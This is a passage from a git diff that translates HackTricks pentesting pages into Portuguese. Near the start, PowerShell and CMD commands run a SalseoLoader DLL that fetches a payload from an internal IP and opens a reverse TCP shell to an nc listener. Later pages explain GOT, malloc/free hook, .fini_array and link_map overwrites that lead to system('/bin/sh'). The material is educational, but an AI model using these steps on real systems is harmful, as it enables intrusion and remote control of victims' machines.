SalseoLoader** e **execute DllExport_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) e pressione **Aplicar** ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Abra o projeto novamente com o Visual Studio** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** não deve mais estar marcado como erro ![](<../images/image (8) (1).png>) -### Build the solution +### Compile a solução -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +Selecione **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compilar --> Alvo da plataforma = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Para **compilar** a solução: Compilar --> Compilar Solução (Dentro do console de saída, o caminho da nova DLL aparecerá) -### Test the generated Dll +### Teste a Dll gerada -Copy and paste the Dll where you want to test it. +Copie e cole a Dll onde você deseja testá-la. Execute: - ``` rundll32.exe SalseoLoader.dll,main ``` +Se nenhum erro aparecer, provavelmente você tem um DLL funcional!! -If no error appears, probably you have a functional DLL!! +## Obter um shell usando o DLL -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +Não se esqueça de usar um **servidor** **HTTP** e configurar um **listener** **nc** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..beb2a15e8 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> > Support HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..27a892604 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# Escrita Arbitrária 2 Exec diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..7ffabba46 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamada **armazenada na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamada, o **One Gadget será chamado**. -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +Para chamar malloc, é possível esperar que o programa a chame ou **chamando `printf("%10000$c")`**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap. -More info about One Gadget in: +Mais informações sobre One Gadget em: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> Note que hooks estão **desativados para GLIBC >= 2.34**. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +Isso foi abusado em um dos exemplos da página abusando de um ataque de fast bin após ter abusado de um ataque de unsorted bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +É possível encontrar o endereço de `__free_hook` se o binário tiver símbolos com o seguinte comando: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[No post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) você pode encontrar um guia passo a passo sobre como localizar o endereço do free hook sem símbolos. Em resumo, na função free: 
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -45,26 +43,26 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +No ponto de interrupção mencionado no código anterior, o endereço do free hook estará localizado em `$eax`. -Now a **fast bin attack** is performed: +Agora um **ataque de fast bin** é realizado: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- Primeiro de tudo, é descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**: - 
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado. +- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin. +- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior. +- Depois, um chunk de tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**. +- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro. -## References +## Referências - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..ae91d81f8 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Informações Básicas** -### **GOT: Global Offset Table** +### **GOT: Tabela de Deslocamento Global** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +A **Tabela de Deslocamento Global (GOT)** é um mecanismo usado em binários vinculados dinamicamente para gerenciar os **endereços de funções externas**. Como esses **endereços não são conhecidos até o tempo de execução** (devido ao vínculo dinâmico), a GOT fornece uma maneira de **atualizar dinamicamente os endereços desses símbolos externos** uma vez que são resolvidos. -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +Cada entrada na GOT corresponde a um símbolo nas bibliotecas externas que o binário pode chamar. Quando uma **função é chamada pela primeira vez, seu endereço real é resolvido pelo vinculador dinâmico e armazenado na GOT**. Chamadas subsequentes para a mesma função usam o endereço armazenado na GOT, evitando assim a sobrecarga de resolver o endereço novamente. -### **PLT: Procedure Linkage Table** +### **PLT: Tabela de Ligação de Procedimentos** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +A **Tabela de Ligação de Procedimentos (PLT)** trabalha em estreita colaboração com a GOT e serve como um trampolim para lidar com chamadas a funções externas. Quando um binário **chama uma função externa pela primeira vez, o controle é passado para uma entrada na PLT associada a essa função**. Esta entrada da PLT é responsável por invocar o vinculador dinâmico para resolver o endereço da função, caso ainda não tenha sido resolvido. Após o endereço ser resolvido, ele é armazenado na **GOT**. -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**Portanto,** as entradas da GOT são usadas diretamente uma vez que o endereço de uma função ou variável externa é resolvido. **As entradas da PLT são usadas para facilitar a resolução inicial** desses endereços via o vinculador dinâmico. -## Get Execution +## Obter Execução -### Check the GOT +### Verifique a GOT -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +Obtenha o endereço da tabela GOT com: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +Observe como após **carregar** o **executável** no GEF você pode **ver** as **funções** que estão na **GOT**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +Usando o GEF, você pode **iniciar** uma sessão de **depuração** e executar **`got`** para ver a tabela got: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +Em um binário, a GOT tem os **endereços para as funções ou** para a **seção PLT** que irá carregar o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função** **`system`**, por exemplo. -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system). -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você **precisará vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`** -## libc GOT entries +## Entradas da GOT libc -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código. -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Encontre [**mais informações sobre esta técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +Em explorações de heap em CTFs, é comum conseguir controlar o conteúdo de chunks e em algum momento até sobrescrever a tabela GOT. Um truque simples para obter RCE se gadgets não estiverem disponíveis é sobrescrever o endereço GOT de `free` para apontar para `system` e escrever dentro de um chunk `"/bin/sh"`. Dessa forma, quando esse chunk for liberado, ele executará `system("/bin/sh")`. ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +Outra técnica comum é sobrescrever o endereço GOT de **`strlen`** para apontar para **`system`**, então se essa função for chamada com entrada do usuário, é possível passar a string `"/bin/sh"` e obter um shell. -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +Além disso, se `puts` for usado com entrada do usuário, é possível sobrescrever o endereço GOT de `strlen` para apontar para `system` e passar a string `"/bin/sh"` para obter um shell porque **`puts` chamará `strlen` com a entrada do usuário**. ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **Abusando da GOT do Heap** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, de modo que sempre que esse chunk for alocado, será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\ +Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/bin/sh\x00` executará um shell. -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** -## **Protections** +## **Proteções** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## Referências - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..3a4c5b263 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> Hoje em dia é muito **estranho encontrar um binário com uma seção .dtors!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +Os destrutores são funções que são **executadas antes do programa terminar** (após a função `main` retornar).\ +Os endereços dessas funções são armazenados dentro da seção **`.dtors`** do binário e, portanto, se você conseguir **escrever** o **endereço** em um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes que o programa termine. +Obtenha o endereço desta seção com: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +Geralmente, você encontrará os marcadores **DTOR** **entre** os valores `ffffffff` e `00000000`. Então, se você apenas ver esses valores, isso significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo. > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> Claro, você primeiro precisa encontrar um **lugar para armazenar o shellcode** para depois chamá-lo. ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar, como **`.dtors`**. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos onde você precisa voltar para **`main`** novamente para **explorar a vulnerabilidade uma segunda vez**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +Note que quando uma função do **`.fini_array`** é executada, ela passa para a próxima, então não será executada várias vezes (prevenindo loops eternos), mas também só dará 1 **execução da função** colocada aqui. -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +Note que as entradas em **`.fini_array`** são chamadas em **ordem reversa**, então você provavelmente quer começar a escrever a partir da última. -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### Loop eterno -#### Eternal loop +Para abusar de **`.fini_array`** e obter um loop eterno, você pode [**ver o que foi feito aqui**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Se você tiver pelo menos 2 entradas em **`.fini_array`**, você pode: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- Usar sua primeira escrita para **chamar a função vulnerável de escrita arbitrária** novamente +- Em seguida, calcular o endereço de retorno na pilha armazenado por **`__libc_csu_fini`** (a função que está chamando todas as funções de **`.fini_array`**) e colocar lá o **endereço de `__libc_csu_fini`** +- Isso fará com que **`__libc_csu_fini`** chame a si mesmo novamente, executando as funções de **`.fini_array`** novamente, o que chamará a função vulnerável WWW 2 vezes: uma para **escrita arbitrária** e outra para sobrescrever novamente o **endereço de retorno de `__libc_csu_fini`** na pilha para chamá-la novamente. > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> Note que com [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** a seção **`.fini_array`** é tornada **somente leitura**. +> Em versões mais novas, mesmo com [**Partial RELRO**], a seção **`.fini_array`** também é tornada **somente leitura**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..1bf7c70d2 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,39 +1,38 @@ -# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers +# WWW2Exec - atexit(), Armazenamento TLS & Outros Ponteiros Emaranhados {{#include ../../banners/hacktricks-training.md}} -## **\_\_atexit Structures** +## **\_\_atexit Estruturas** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> Hoje em dia é muito **estranho explorar isso!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ +Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\ +Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual aponta não é o endereço das funções, mas está **criptografado com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64_86**.\ +A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +Você pode encontrar uma explicação detalhada sobre como isso funciona em [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +Como explicado [**neste post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), se o programa sair usando `return` ou `exit()`, ele executará `__run_exit_handlers()` que chamará os destrutores registrados. > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> Se o programa sair pela função **`_exit()`**, ele chamará a **syscall `exit`** e os manipuladores de saída não serão executados. Portanto, para confirmar que `__run_exit_handlers()` é executado, você pode definir um ponto de interrupção nele. +O código importante é ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +Observe como `map -> l_addr + fini_array -> d_un.d_ptr` é usado para **calcular** a posição do **array de funções a serem chamadas**. -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +Existem **algumas opções**: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of 